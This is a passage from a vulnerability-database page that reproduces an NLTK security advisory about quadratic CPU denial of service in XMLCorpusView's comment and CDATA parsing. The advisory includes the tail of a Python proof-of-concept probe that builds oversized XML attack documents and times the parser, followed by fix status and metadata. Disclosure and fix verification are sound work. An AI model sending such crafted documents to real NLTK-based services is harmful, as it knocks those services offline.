\u0027\u003e\u0027 and\n # no \u0027--\u003e\u0027 before the closing marker.\n body = (\"a\u003cb\u003cc\u003cd\u003e\" * ((body_size // 8) + 1))[:body_size]\n return \"\u003croot\u003e\u003c!-- \" + body + \" --\u003e\u003c/root\u003e\"\n\n\ndef build_cdata_doc(body_size):\n # Well-formed XML: one root, one large CDATA containing \u0027\u003c\u0027 and \u0027\u003e\u0027 and no\n # \u0027]]\u003e\u0027 before the closing marker.\n body = (\"a\u003cb\u003cc\u003cd\u003e\" * ((body_size // 8) + 1))[:body_size]\n return \"\u003croot\u003e\u003c![CDATA[\" + body + \"]]\u003e\u003c/root\u003e\"\n\n\ndef build_unclosed_cdata_prefix(body_size):\n # The line-308 match input: an accumulating fragment that is still inside\n # an unclosed CDATA (no \u0027]]\u003e\u0027 yet). A distinct body alphabet avoids CPU-cache\n # reuse with the attack-timing buffers above, which would skew the timing.\n body = (\"x\u003cy\u003cz\u003cw\u003e\" * ((body_size // 8) + 1))[:body_size]\n return \"\u003croot\u003e\u003c![CDATA[\" + body\n\n\ndef build_giant_tag(body_size):\n # Control: a single oversized \u0027\u003ca ...\u003e\u0027 tag, no \u0027\u003e\u0027 until the very end.\n return \"\u003ca \" + (\"x\" * body_size) + \"\u003e\"\n\n\ndef guard_present():\n import nltk.corpus.reader.xmldocs as m\n\n with open(m.__file__, encoding=\"utf-8\") as fh:\n return \"in_tag\" in fh.read()\n\n\nview = XMLCorpusView.__new__(XMLCorpusView)\nresults = []\n\n\ndef check(name, cond, detail=\"\"):\n results.append(bool(cond))\n print(f\"[{\u0027PASS\u0027 if cond else \u0027FAIL\u0027}] {name}\" + (f\" ({detail})\" if detail else \"\"))\n\n\ndef read_frag(doc):\n \"\"\"Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard\n releases raise for CDATA-containing documents.\"\"\"\n try:\n return view._read_xml_fragment(io.StringIO(doc))\n except ValueError as exc:\n return \"ValueError: %s\" % exc\n\n\ndef time_ratio(build, n1, n4):\n d1, d4 = build(n1), build(n4)\n t1 = elapsed(lambda: read_frag(d1))\n t4 = elapsed(lambda: read_frag(d4))\n return d1, d4, t1, t4\n\n\n# ---- Sizes ---------------------------------------------------------------\nbody = int(os.environ.get(\"NLTK_BODY_SIZE\", \"65536\"))\ntag1, tag4 = 1 \u003c\u003c 20, 4 \u003c\u003c 20 # 1 MiB / 4 MiB (guard-present linear baseline)\n\n# ---- Primary attack: large comment unclosed until its final \u0027--\u003e\u0027 ---------\nc1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)\nratio = t4 / t1\nout1 = read_frag(c1) # outcome probe (returned string vs ValueError)\noutcome = \"returned\" if isinstance(out1, str) and not out1.startswith(\"ValueError\") else out1\nprint(f\"[TIMING] unclosed comment n={len(c1)} t={t1:.3f}s \"\n f\"4n={len(c4)} t={t4:.3f}s ratio={ratio:.1f} (n-\u003e{outcome})\")\ncheck(\n \"attack document is well-formed XML (parses with ElementTree)\",\n ET.fromstring(c1).tag == \"root\" and ET.fromstring(c4).tag == \"root\",\n f\"both sizes parse; root element tag=\u0027{ET.fromstring(c1).tag}\u0027\",\n)\ncheck(\n \"unclosed-comment read cost scales super-linearly (t(4n)/t(n) \u003e 10; linear ~4)\",\n ratio \u003e 10.0,\n f\"measured {ratio:.1f}\",\n)\n\n# ---- CDATA variant ---------------------------------------------------------\nhas_guard = guard_present()\nprint(f\"[INFO] in-tag guard present in module: {has_guard}\")\nd1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)\ndratio = td4 / td1\ndout = read_frag(d1)\ndoutcome = \"returned\" if isinstance(dout, str) and not dout.startswith(\"ValueError\") else dout\nprint(f\"[TIMING] CDATA variant n={len(d1)} t={td1:.3f}s \"\n f\"4n={len(d4)} t={td4:.3f}s ratio={dratio:.1f} (n-\u003e{doutcome})\")\nif has_guard:\n check(\n \"CDATA variant also super-linear on guard-present build\",\n dratio \u003e 10.0,\n f\"measured {dratio:.1f}\",\n )\nelse:\n # Pre-guard releases cannot validate any CDATA (their regex\u0027s CDATA\n # alternative never matches), so the fragment ends in ValueError -- a\n # separate functional defect; report only.\n check(\n \"pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)\",\n doutcome.startswith(\"ValueError\"),\n str(doutcome),\n )\n\n# ---- Single-match linearity of _VALID_XML_RE ------------------------------\n# The quadratic total comes from re-running a *linear* whole-buffer match on\n# every block, not from the regex itself backtracking super-linearly (a single\n# match would then also blow up with input size). Verify single-match scaling.\n# The assertion uses the 512 KiB -\u003e 2 MiB pair (the 256 KiB size runs ~4x\n# faster in an already-warmed engine, so it is reported but not asserted on).\ndef best_match_ms(buf):\n view._VALID_XML_RE.match(buf) # warm-up (cache pattern + char-class state)\n return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))\n\n\nms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 \u003c\u003c 18, 1 \u003c\u003c 19, 1 \u003c\u003c 20, 1 \u003c\u003c 21)}\nprint(f\"[TIMING] single _VALID_XML_RE.match 256KiB={ms[1 \u003c\u003c 18]:.4f}s 512KiB={ms[1 \u003c\u003c 19]:.4f}s \"\n f\"1MiB={ms[1 \u003c\u003c 20]:.4f}s 2MiB={ms[1 \u003c\u003c 21]:.4f}s\")\ncheck(\n \"single match scales ~linearly (512KiB-\u003e2MiB 4x input ~4x time; not super-linear)\",\n ms[1 \u003c\u003c 21] / ms[1 \u003c\u003c 19] \u003c 6.0,\n f\"measured 4x ratio={ms[1 \u003c\u003c 21] / ms[1 \u003c\u003c 19]:.2f}\",\n)\n\n# ---- Control: giant single tag on the same reader ---------------------------\nif has_guard:\n g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)\n gratio = tg4 / tg1\n print(f\"[TIMING] oversized tag (control) n={tag1} t={tg1:.3f}s \"\n f\"4n={tag4} t={tg4:.3f}s ratio={gratio:.1f}\")\n check(\n \"oversized single tag reads linearly (guard present; t(4n)/t(n) \u003c 8)\",\n gratio \u003c 8.0,\n f\"measured {gratio:.1f}\",\n )\nelse:\n g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)\n gratio = tg4 / tg1\n print(f\"[TIMING] oversized tag (no guard) n={len(g1)} t={tg1:.3f}s \"\n f\"4n={len(g4)} t={tg4:.3f}s ratio={gratio:.1f}\")\n check(\n \"oversized single tag also super-linear pre-guard (report-only)\",\n gratio \u003e 4.0,\n f\"measured {gratio:.1f}\",\n )\n\n# ---- Reachability: the public XMLCorpusView API drives the same sink -------\npath = os.path.join(_DATA_ROOT, \"attack.xml\")\nwith open(path, \"w\", encoding=\"utf-8\") as fh:\n fh.write(c1)\ntry:\n items = list(XMLCorpusView(path, \".*\"))\n check(\n \"public API list(XMLCorpusView(path, \u0027.*\u0027)) reads the attack document\",\n len(items) \u003e= 1,\n f\"{len(items)} item(s) read from {len(c1)}-byte document\",\n )\nfinally:\n if _CLEANUP_ROOT:\n shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)\n\npassed = sum(results)\nfailed = len(results) - passed\nprint(f\"RESULT {passed}/{len(results)} checks passed, {failed} failed\")\nsys.exit(0 if failed == 0 else 1)\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: IN PROGRESS (fix on an open pull request, not yet on develop).\n\nTwo open pull requests carry a fix.\n\nPR: #3753 \"[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path\", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).\n\nPR: #3895 \"[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)\", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).\n\nThe probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).\n\nRelease: none.",
"id": "GHSA-j8g8-j4j7-8j54",
"modified": "2026-11-19T23:54:59Z",
"published": "2026-11-19T23:54:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-j8g8-j4j7-8j54"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128139"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/9cacbb95d97eaac7debb30d6e7decbe74d2c635f"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.